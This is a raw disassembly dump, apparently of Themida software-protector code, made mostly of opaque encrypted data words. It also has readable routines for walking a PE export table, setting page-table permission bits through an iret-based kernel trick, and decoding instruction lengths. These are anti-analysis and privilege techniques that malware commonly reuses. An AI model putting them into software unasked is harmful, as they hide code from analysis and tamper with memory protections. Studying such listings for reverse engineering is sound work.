		dd 27D85F75h, 0CC317435h, 877E1241h, 1C3D601Eh,	0F93FE303h
		dd 0E6C23CEEh, 583EA4CAh, 6E317430h, 0D46D4C8Fh, 94F17F54h
		dd 0CD312BB1h, 0E6399D35h, 72C47435h, 51EA9E60h, 41BCC13Bh
		dd 69CB3B53h, 0DF63745Fh, 9B317436h, 97F22E15h,	0E21520BCh
		dd 771530B4h, 0B931742Dh, 1AF22677h, 74B0CAD5h,	8FFBFF53h
		dd 9B317436h, 2561745Fh, 0E6317436h, 2BF22C15h,	0BD1530BCh
		dd 0D81530B4h, 6E31742Ch, 0BF22475h, 0D3A4634Fh, 38D28BC8h
		dd 86F8F476h, 0DCA3C9B8h, 34BC73CAh, 0DBCEC7CEh, 256D098Dh
		dd 0E2B447BFh, 0B0368E1Ch, 0BCD8B5FAh, 0CEDB917Bh, 64745F74h
		dd 31743651h, 0F22915DCh, 1518BC33h, 1530B433h,	0F305E983h
		dd 6AC08BA4h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0B10DC350h, 0B0D30739h, 11E9B3h
		dd 0B1710000h, 0AD3967F5h, 1484FF64h, 0D0D3A757h, 0FAAFC0Fh
		dd 8Ah,	50006A00h, 3E8h, 0C3582000h, 24448958h,	24448104h
		dd 1C04h, 0C3504000h, 0B7E0957Fh, 3D9EF83Ch, 0FC38BB7h
		dd 283h, 8BCDB600h, 0C68166C0h,	8D0F9ED6h, 15h,	0AE8h
		dd 0FE8D1600h, 37B9FE83h, 0BEAD377Eh, 170F626Dh, 0CDBD8359h
		dd 7FA2Ah, 0BD830975h, 7FA1899h, 50197400h, 0B8C08B53h
		dd 47Ah, 15818589h, 9D8D07FAh, 7FCE28Bh, 585BD3FFh, 1899BD83h
		dd 740007FAh, 0B8535017h, 47Ah,	15818589h, 9D8D07FAh, 7FCDF2Ch
		dd 585BD3FFh, 0CE8h, 2E79BF00h,	2062FC87h, 0D8DF1CC0h
		dd 0BE95Ch, 35EC0000h, 534A5FAh, 0DDE8E080h, 0E9525F6Fh
		dd 0Ah,	7542B4EBh, 4BBB9759h, 8B5AC2F0h, 0AE8C0h, 0D71B0000h
		dd 53499F02h, 62C745FDh, 3FD21ABBh, 0D7805954h,	69C18120h
		dd 0F500005Eh, 68h, 0AE6FB800h,	0E95E5C66h, 13h, 88FB2F51h
		dd 1C73A60Bh, 0FB1D0E00h, 0FD111786h, 8B3F4A8Bh, 8B663114h
		dd 0FF281F8h, 0E815786Ah, 9, 40243845h,	0A518682Eh, 815BF9AAh
		dd 7BC6C0F2h, 68B46054h, 0CE8h,	0E4A28000h, 806CF5B4h
		dd 0DA833A01h, 8161581Fh, 0EC8CF5C2h, 7EBB525Ah, 8F18AB24h
		dd 0C18A3104h, 0EE835B52h, 4EF88B01h, 0C0BB4E4Eh, 81750368h
		dd 0FFA240FEh, 9C850FFFh, 0FFFFFFFh, 68Ch, 0DCD08100h
		dd 0E9229FBDh, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h
		dd 0FA08A5B5h, 0DD858D07h, 0FF07FDA3h, 0D18589D0h, 8B07FA1Eh
		dd 0CEFC1FEh, 6000068h,	6A006A20h, 0D685702h, 0FF000100h
		dd 0FA1ED195h, 32E907h,	85C60000h, 7FA0665h, 30DF6856h
		dd 0B5FFA9C5h, 7FA2095h, 0A3DD858Dh, 0D0FF07FDh, 265D8589h
		dd 858D07FAh, 7FA2A55h,	6A406A50h, 95FF5605h, 7FA265Dh
		dd 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 5D858908h, 8B07FFB6h, 85890C42h
		dd 7FFB655h, 8910428Bh,	0FFB65985h, 93B58D07h, 8D07FFB6h
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0B65DB58Bh, 858B07FFh
		dd 7FFB655h, 0B659BD83h, 0F0007FFh, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 7FFB65Dh, 0B6E4B58Dh
		dd 858D07FFh, 5B8EA1h, 5A61D0FFh, 0B65D858Bh, 4C207FFh
		dd 5D858B00h, 8B07FFB6h, 5D858900h, 0CF07FFB6h,	0
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FFB6BAh],	esi
		mov	[ebp+7FFB6B6h],	eax
		lea	eax, [ebp+7FA2889h]
		mov	eax, [eax+44h]
		mov	[ebp+7FFB6F3h],	eax
		lea	esi, [ebp+7FFB729h]
		lea	eax, [ebp+5B8EA1h]
		call	eax
		popa
		mov	eax, [ebp+7FFB6BAh]
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7FFB6B6h]
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		mov	ebx, [ebx+78h]
		add	ebx, [ebp+7FFB6B6h]
		mov	esi, [ebx+24h]
		add	esi, [ebp+7FFB6B6h]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [ebp+7FFB6B6h]
		add	esi, [ebp+7FFB6B6h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5DEB9F:				; CODE XREF: Themida_:005DEBBDj
					; Themida_:005DEBCCj
		inc	ecx
		mov	ebx, [ebp+7FFB6BAh]
		mov	edx, [edi]
		add	edx, [ebp+7FFB6B6h]
		add	edi, 4


loc_5DEBB1:				; CODE XREF: Themida_:005DEBC5j
		mov	al, [edx]
		test	al, al
		jz	loc_5DEBCA
		cmp	al, [ebx]
		jnz	loc_5DEB9F
		inc	ebx
		inc	edx
		jmp	loc_5DEBB1
; ---------------------------------------------------------------------------


loc_5DEBCA:				; CODE XREF: Themida_:005DEBB5j
		cmp	al, [ebx]
		jnz	loc_5DEB9F
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [ebp+7FFB6B6h]
		mov	[ebp+7FFB6BAh],	eax
		mov	esi, eax
		mov	ecx, esi
		mov	eax, ecx
		cmp	dword ptr [ebp+7FFB6F3h], 0C0300000h
		jnz	loc_5DEC0B
		shr	eax, 14h
		and	eax, 0FFCh
		jmp	loc_5DEC13
; ---------------------------------------------------------------------------


loc_5DEC0B:				; CODE XREF: Themida_:005DEBF8j
		shr	eax, 12h
		and	eax, 3FF8h


loc_5DEC13:				; CODE XREF: Themida_:005DEC06j
		mov	edi, [ebp+7FFB6F3h]
		or	dword ptr [edi+eax], 6
		mov	edx, [edi+eax]
		mov	eax, edx
		and	al, 81h
		cmp	al, 81h
		mov	eax, ecx
		jz	locret_5DEC85
		cmp	dword ptr [ebp+7FFB6F3h], 0C0300000h
		jnz	loc_5DEC4B
		shr	eax, 0Ah
		and	eax, 3FFFFCh
		jmp	loc_5DEC53
; ---------------------------------------------------------------------------


loc_5DEC4B:				; CODE XREF: Themida_:005DEC38j
		shr	eax, 9
		and	eax, 7FFFF8h


loc_5DEC53:				; CODE XREF: Themida_:005DEC46j
		sub	eax, 40000000h
		or	dword ptr [eax], 6
		test	dword ptr [eax], 80h
		jz	locret_5DEC85
		cmp	dword ptr [ebp+7FFB6F3h], 0C0300000h
		jz	locret_5DEC85
		and	eax, 3FF8h
		mov	eax, [eax-3FA00000h]
		or	dword ptr [eax], 6

locret_5DEC85:				; CODE XREF: Themida_:005DEC28j
					; Themida_:005DEC61j ...
		iret
; ---------------------------------------------------------------------------
		lea	eax, [ebp+7FFB661h]
		mov	[ebp+7FA0E05h],	eax
		lea	eax, [ebp+7FFB6F7h]
		mov	[ebp+7FA0EADh],	eax
		lea	eax, [ebp+7FFB6BEh]
		mov	[ebp+7FA2E79h],	eax
		lea	ecx, [ebp+7FFB928h]
		movsx	eax, dx
		jmp	loc_5DECC3
; ---------------------------------------------------------------------------
		dd 3B2362Fh, 1F9A08DDh
		db 0, 2Bh, 8Ah
; ---------------------------------------------------------------------------


loc_5DECC3:				; CODE XREF: Themida_:005DECB3j
		mov	[ebp+7FA1CD9h],	ecx
		or	[ebp+7FA0145h],	esi
		mov	dword ptr [ebp+7FA31ADh], 7174h
		push	0
		push	edx
		call	sub_5DECE4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DECE4	proc near		; CODE XREF: Themida_:005DECDCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5DECE4	endp

; ---------------------------------------------------------------------------
		dd 0D5B86078h, 1047B82h, 0FA344DB5h, 85C76107h,	7FA2BD9h
		dd 0
		dd 79EBE66h, 108D0Fh, 7E80000h,	0F0000000h, 5BEFC63h, 0EF800232h
		dd 0B5FF5A16h, 7FA2EA9h, 3165BD89h, 95FF07FAh, 7FA1799h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ECC35545h
		dd 0FC8A098Fh, 830F3717h, 2, 6AF08Bh, 101995FFh, 0C08B07FAh
		dd 0E9546EEBh, 46320148h, 483FFE11h, 33F63807h,	0E3F77EF7h
		dd 9D34BDABh, 9FE7046Ah, 6E384FC4h, 5F722BE8h, 5B6ABA80h
		dd 9907CFBBh, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh,	30526748h
		dd 0E86448D6h, 0D3F28EB1h, 7266414Dh, 8C57034Ch, 536DB199h
		dd 28890B01h, 9EEFDF2h,	10C0843Bh, 0C40807D8h, 100FB4D6h
		dd 0A6C8AFF1h, 34418B22h, 53B26601h, 1C8E9h, 8 dup(41888800h)
		dd 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 300h, 14h dup(0)
		dd 8C200h, 80757366h, 0FEh, 11h	dup(0)
		dd 353E900h, 0E8550000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FFBB73h
		pusha
		mov	dword ptr [ebp+7FFBAC0h], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5DEFE0
		mov	dword ptr [ebp+7FFBAC4h], 6
		jmp	loc_5DF004
; ---------------------------------------------------------------------------


loc_5DEFE0:				; CODE XREF: Themida_:005DEFCBj
		lea	eax, [ebp+7FFBAC8h]
		push	eax
		lea	eax, [ebp+7FFBB18h]
		push	eax
		push	esi
		push	0
		call	sub_5DF013
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+7FFBAC4h],	eax


loc_5DF004:				; CODE XREF: Themida_:005DEFDBj
		popa
		add	esi, [ebp+7FFBAC4h]
		mov	eax, [ebp+7FFBAC0h]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5DF013	proc near		; CODE XREF: Themida_:005DEFF1p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_7FFBAB8	= dword	ptr  7FFBAC0h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5DF040
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5DF04C
; ---------------------------------------------------------------------------


loc_5DF040:				; CODE XREF: sub_5DF013+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5DF04C:				; CODE XREF: sub_5DF013+28j
		push	ebx
		push	esi
		push	edi


loc_5DF04F:				; CODE XREF: sub_5DF013+91j
					; sub_5DF013+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5DF062:				; CODE XREF: sub_5DF013+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7FFBC2Ah
		lea	ebp, [ebp+7FFBAA0h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5DF08F
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5DF062


loc_5DF08F:				; CODE XREF: sub_5DF013+6Bj
		cmp	cl, 0Bh
		jz	loc_5DF0EC
		cmp	al, 66h
		jnz	loc_5DF0CD
		cmp	[ebp+var_5], 0
		jnz	loc_5DF04F
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5DF0C5
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5DF04F
; ---------------------------------------------------------------------------


loc_5DF0C5:				; CODE XREF: sub_5DF013+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5DF0CD:				; CODE XREF: sub_5DF013+87j
		cmp	al, 67h
		jnz	loc_5DF04F
		cmp	[ebp+var_6], 0
		jnz	loc_5DF04F
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5DF04F
; ---------------------------------------------------------------------------


loc_5DF0EC:				; CODE XREF: sub_5DF013+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5DF118
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5DF11D
; ---------------------------------------------------------------------------


loc_5DF118:				; CODE XREF: sub_5DF013+E4j
		movzx	edi, al
		shr	edi, 1


loc_5DF11D:				; CODE XREF: sub_5DF013+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7FFBCE2h
		lea	ebp, [ebp+7FFB9A0h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5DF29F
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5DF1E3
		dec	ecx
		jz	loc_5DF1C6
		dec	ecx
		jnz	loc_5DF236
		cmp	[ebp+var_2], 0
		jnz	loc_5DF232
		cmp	[ebp+var_5], 0
		jz	loc_5DF1A5
		mov	byte ptr [ebp+arg_0+3],	2


loc_5DF1A5:				; CODE XREF: sub_5DF013+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7FFBD6Eh
		mov	[ebp+arg_7FFBAB8], 1
		pop	ebp
		jmp	loc_5DF236
; ---------------------------------------------------------------------------


loc_5DF1C6:				; CODE XREF: sub_5DF013+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5DF210
		cmp	[ebp+var_5], 0
		jz	loc_5DF210
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5DF210
; ---------------------------------------------------------------------------


loc_5DF1E3:				; CODE XREF: sub_5DF013+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5DF229
		cmp	[ebp+var_5], 0
		jz	loc_5DF218
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5DF210
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5DF210:				; CODE XREF: sub_5DF013+1B7j
					; sub_5DF013+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5DF236
; ---------------------------------------------------------------------------


loc_5DF218:				; CODE XREF: sub_5DF013+1DEj
		cmp	dl, 5
		jnz	loc_5DF236
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5DF236
; ---------------------------------------------------------------------------


loc_5DF229:				; CODE XREF: sub_5DF013+1D4j
		cmp	dl, 6
		jnz	loc_5DF236


loc_5DF232:				; CODE XREF: sub_5DF013+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5DF236:				; CODE XREF: sub_5DF013+174j
					; sub_5DF013+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5DF264
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5DF246:				; CODE XREF: sub_5DF013+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5DF246
		mov	esi, edx


loc_5DF264:				; CODE XREF: sub_5DF013+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5DF299
		cmp	edi, 7Fh
		ja	loc_5DF299
		test	bl, 38h
		jnz	loc_5DF299
		cmp	[ebp+var_7], 0
		jz	loc_5DF293
		movzx	eax, [ebp+var_4]
		jmp	loc_5DF296
; ---------------------------------------------------------------------------


loc_5DF293:				; CODE XREF: sub_5DF013+271j
		push	1
		pop	eax


loc_5DF296:				; CODE XREF: sub_5DF013+27Bj
		mov	[ebp+var_1], al


loc_5DF299:				; CODE XREF: sub_5DF013+255j
					; sub_5DF013+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5DF29F:				; CODE XREF: sub_5DF013+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5DF2CA
		dec	eax
		dec	eax
		jz	loc_5DF2C0
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5DF2D2
; ---------------------------------------------------------------------------


loc_5DF2C0:				; CODE XREF: sub_5DF013+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5DF2CF
; ---------------------------------------------------------------------------


loc_5DF2CA:				; CODE XREF: sub_5DF013+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5DF2CF:				; CODE XREF: sub_5DF013+2B2j
		add	[ebp+var_1], al


loc_5DF2D2:				; CODE XREF: sub_5DF013+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5DF2FA
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5DF2E5:				; CODE XREF: sub_5DF013+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5DF2E5


loc_5DF2FA:				; CODE XREF: sub_5DF013+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5DF013	endp

; ---------------------------------------------------------------------------
		lea	eax, [ebp+7FFBB6Dh]
		mov	[ebp+7FA3101h],	eax
		jmp	loc_5DF47D
; ---------------------------------------------------------------------------
		dw 7E51h
		dd 687C4973h, 4CD2850Bh, 58904DF7h, 56AB0A2Ah, 56B05321h
		dd 58B70A22h, 718D5329h, 24873A02h, 70885350h, 0C42CD1ABh
		dd 0B6BC9DAFh, 141F5217h, 1285366h, 0
		dd 40000h, 2 dup(0)
		dd 350000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 40h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5DF47D:				; CODE XREF: Themida_:005DF30Dj
		jmp	loc_5E0AD3
; ---------------------------------------------------------------------------
		push	7FFC205h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFC2EAh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFC3CCh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFC491h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFC636h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFC7BFh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFC8A2h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFC97Fh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFCB87h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFCC88h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFCD35h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFCDCBh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFCF12h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFD447h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FFD557h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		dd 73FAB344h, 0FE853CCCh, 8D14AB57h, 169D10E6h,	0A42B926Fh
		dd 8C79190Ah, 0F407AE35h, 79933AC1h, 0E920C74Eh, 0AB1A51D8h
		dd 0E1D7712Eh, 2198D1EFh, 9AC0BE78h, 0F4C0EC2h,	259C6DE3h
		dd 0A312EB8Ah, 0F406ED6Ch, 16CF8CC1h, 0E42FE7E2h, 63FEB545h
		dd 0A51CDB18h, 74F12865h, 0EF7C316Eh, 0C5FA95E0h, 0EFDC410Ch
		dd 0FB962FDEh, 7914AD5Ch, 0E455207Bh, 77CA9500h, 0D0AA13CCh
		dd 3205h, 5D9DE100h, 3A6CE920h,	0A4EF7C1Fh, 0D089BE59h
		dd 5DEFDC2Eh, 79CA27F2h, 58D0AA25h, 0D5h, 38F572F1h, 98EFDC23h
		dd 2327E461h, 3C87EFDCh, 6D88B4F1h, 0EB8A259Ch,	6D0CA71Eh
		dd 0EB8A259Ch, 0DD1CA312h, 4CBEE034h, 0CB08E216h, 0E2375E5Eh
		dd 0A6CB42E7h, 7BC66154h, 0B02A930h, 9A645EA4h,	94DFC3AFh
		dd 0F7428AF9h, 2162CEF6h, 9BD21D0Dh, 7CE51C1Eh,	0B43B86EFh
		dd 89C0FD3Dh, 71472F0Ch, 4D84CFF7h, 15D24FCEh, 75F7D9C7h
		dd 35BAC92Ah, 310CDD3Eh, 0D9E01DF4h, 0E9A623A2h, 49F7D983h
		dd 5B02C1FEh, 0FAD917AEh, 2E2F17ACh, 13D62063h,	9D720000h
		dd 2FAA128h, 79852CB3h,	0E214BB42h, 609D44CBh, 2B38D259h
		dd 0DC635AA7h, 68EFC635h, 0F57C4BC1h, 7F06BF4Eh, 9F5CD948h
		dd 0FFEFE1D8h, 906D92C6h, 2FBA229h, 6EED2CB3h, 0E21734F1h
		dd 0C4994E7h, 205D9DE0h, 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh
		dd 0F25DEFDCh, 2579CA27h, 0C458D0AAh, 34000000h, 8A259C6Dh
		dd 0CA71EEBh, 0A518EED5h, 0E920BF0Ah, 2E2E9BD8h, 12E7E21Ch
		dd 0AC93CAFBh, 83CE6950h, 6A118E4h, 18BF7EBBh, 9EA7BAE1h
		dd 0F1FEBF11h, 0EDD40BA6h, 0C56CA910h, 94114885h, 0EF7D3692h
		dd 0EB2AB1FCh, 24BFF604h, 0B5F59CD9h, 1CC44178h, 76F77184h
		dd 0F675F42Bh, 0DA15BC79h, 4D6096F7h, 34E67B2h,	5712EFC6h
		dd 0EAA724A7h, 4AF7DA15h, 0E269B4FFh, 0B9F7CE3Bh, 2F173E10h
		dd 0F1F63904h, 57000012h, 0DF860DA0h, 6A11982Fh, 0F9A0279Eh
		dd 8229B007h, 1DB73E87h, 48718C36h, 0D4E11AC1h,	6154A64Dh
		dd 0EBDA33DAh, 41BE2D64h, 0EFE1D984h, 6D77ABE4h, 0FBA22990h
		dd 0ED2CB302h, 28C3FA06h, 6D74A0DDh, 0EB8A259Ch, 751CA312h
		dd 0F8973289h, 0D29B001h, 5F9CDCF5h, 1D0DAB28h,	1291EF7Ch
		dd 0DC1CD895h, 679938EFh, 1F6AB550h, 154691E2h,	843BC7AEh
		dd 2B34AE9h, 530D7AB7h,	57E7664Ch, 0B471EE17h, 14E7664Dh
		dd 0E03278B3h, 0AEF99D01h, 1DAF2C63h, 0A9EF0116h, 0E17C49C2h
		dd 0BD085996h, 0E26BB322h, 0EFE9D28h, 86D11CB7h, 0B7DCD24Fh
		dd 4930F6F6h, 1AA102B1h, 43445E8Ah, 0CB2C7DBAh,	941AF7DEh
		dd 98CF1A8Bh, 0E26958B1h, 0EAA724A3h, 4AF75E8Ah, 12EBC2FFh
		dd 0B55A65A3h, 0DBA62F9Ch, 120F98h, 0EFC63900h,	7A49C168h
		dd 9B04CF3h, 9225DB82h,	2099640Bh, 6E14FF99h, 0FCA32A93h
		dd 882FB60Fh, 15BC4372h, 0F46CDE4h, 0DA6623A0h,	8DC6EFE1h
		dd 259C6D59h, 9ED31B8Ah, 240CEA67h, 4DAEEF7Ch, 51ACB60Eh
		dd 2182CD68h, 3E897E37h, 0C8F910B7h, 6154AA91h,	9AE25124h
		dd 0A3B12E65h, 45F77444h, 2DDCC3FAh, 97660D94h,	0D414831Eh
		dd 0F5E36097h, 57FF7403h, 1FEED50Ch, 81781FA6h,	0FC972EDCh
		dd 4870D09Bh, 0D01B84F3h, 91674E85h, 0FB38831Eh, 5071B928h
		dd 0DBB016D3h, 26E32EFFh, 5CE9AA3Dh, 76ADF843h,	0CBFA10F7h
		dd 0BF7CF930h, 1FFFDB2Ch, 0DF4C89D4h, 7754421h,	0C7FA3883h
		dd 313F13FEh, 114A2366h, 9FE0000h, 76862DB4h, 0F511B83Fh
		dd 6EA047CEh, 0DC29D057h, 0DFC45EE5h, 68EFD633h, 0F47B4AC1h
		dd 8108BF4Dh, 0B9223DAh, 2BE865D4h, 8BEFE1DBh, 906D1E52h
		dd 0F20BF229h, 0A0DD28C3h, 0ED226AE1h, 0BA5037B6h, 0A761CE0Bh
		dd 0E3EF7C22h, 332AE764h, 3F8AEFDCh, 2F66B102h,	6702B348h
		dd 0D50CDF1Ch, 10AB12EEh, 874164C5h, 9B2C35ABh,	3F76875Eh
		dd 0C9F811B8h, 427FBF2Eh, 55A58C0Bh, 0C6B4215Eh, 28F7767Fh
		dd 0CAE542DDh, 0EEC736FFh, 0CB412867h, 0D018BFFCh, 2DE7649Bh
		dd 87FF709Eh, 0B02A13Ch, 77921FBAh, 9CD119ACh, 313DE665h
		dd 299C6F45h, 1DE2438Eh, 47B4F176h, 76AAB8Dh, 31C9B0E7h
		dd 679CE782h, 7CABAAAh,	3D74BF0Ah, 0D613AA56h, 28997017h
		dd 38F572F1h, 9807CABBh, 0BB27E461h, 3C8707CAh,	0ACE1B4F1h
		dd 7CACAF3h, 0E47F36C5h, 5FFEB545h, 7E47C2A9h, 0E4619833h
		dd 7CACB27h, 95B03C87h,	6615FCAh, 0DE837A3Bh, 0FEC54128h
		dd 82CD18B3h, 0B8A554FBh, 89246F46h, 669DD21Ah,	64ED8BE9h
		dd 5BE22D0Fh, 0A11E9D1Ch, 0FC4EDE4h, 7C4F944h, 670FC4EEh
		dd 39807D1Ch, 0CA16539Eh, 3976B68Fh, 9C6F8502h,	0EA21175Ch
		dd 0C4ACB06Dh, 7AC51017h, 0EFBE249h, 94D11CB7h,	0DE7940BDh
		dd 0C4ACF0A9h, 18812A17h, 0EE2D5C55h, 0F139E01Dh, 6C9E85BCh
		dd 2733F06Dh, 489317C4h, 0D451C0FDh, 1F5BD5DEh,	0E7CE0550h
		dd 0D9189F16h, 1CD1B830h, 0E11ED5ACh, 27C2F30Ah, 6447D88h
		dd 1701E985h, 0A5256833h, 0A300000Fh, 2BD2596Ch, 0B65DE4D3h
		dd 45EC734Ah, 0CE75FCB3h, 69038A33h, 942DD87Ah,	2095660Dh
		dd 0AD18F299h, 378E7F26h, 8D0A79B0h, 0EFE1DCD0h, 6DC3F730h
		dd 0FBA22990h, 0CC179D02h, 0E443007Dh, 58A3E7E2h, 9ED4A8F7h
		dd 0E019B853h, 9E1B9AD1h, 0E7E2FCE1h, 42BFF641h, 0E7E2FD85h
		dd 8A5D9AE5h, 9F66318Ch, 95D0576Eh, 0D750DBAEh,	1BE23h
		dd 7A13BC00h, 8E4BC8FDh, 0EEE7E217h, 11BE42A3h,	6DE71350h
		dd 0EB8A259Ch, 0A51CA312h, 74F12865h, 0EF7C316Eh, 0C5FA95E0h
		dd 0EFDC410Ch, 7F711A99h, 0CB8805BAh, 2BEFDCD2h, 5C177FE0h
		dd 6D12C69h, 0AAA498ABh, 359A43D0h, 0C3D563C4h,	4A75EE2Bh
		dd 0E000000h, 2355128Fh, 6AB5EFDCh, 5D9D012Dh, 3A6CE920h
		dd 86EF7C1Fh, 0BC576E9Fh, 82E33471h, 7D0BC1EDh,	0DF5C9379h
		dd 0EFDC9122h, 51EC3782h, 0DC91631Ch, 0BA85F0EFh, 0AA47DC67h
